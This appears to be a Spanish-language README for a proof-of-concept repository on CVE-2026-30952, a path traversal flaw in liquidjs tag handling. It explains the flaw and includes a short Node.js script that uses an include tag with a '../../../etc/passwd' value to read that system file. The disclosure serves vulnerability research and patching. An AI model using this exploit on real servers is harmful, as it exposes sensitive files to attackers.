
PoC para CVE-2026-30952: Vulnerabilidad de Path Traversal en liquidjs mediante rutas absolutas en las etiquetas layout, render e include.
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2026-30952, una vulnerabilidad de path traversal de alta severidad descubierta en la librería liquidjs (versiones < 10.25.0).
Autores e investigadores:
Moriel Harush Maor Caplan
La vulnerabilidad permite el acceso arbitrario a archivos a través de las etiquetas layout, render e include cuando se utilizan con rutas absolutas. Esto ocurre incluso cuando se especifica un directorio root, ya que el mecanismo de respaldo de la librería no valida correctamente si la ruta resuelta permanece dentro del root previsto.
Impacto: Un atacante puede leer archivos sensibles (por ejemplo, /etc/passwd, archivos de entorno) si puede controlar el contenido de la plantilla o la variable pasada a estas etiquetas.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install.node exploit.js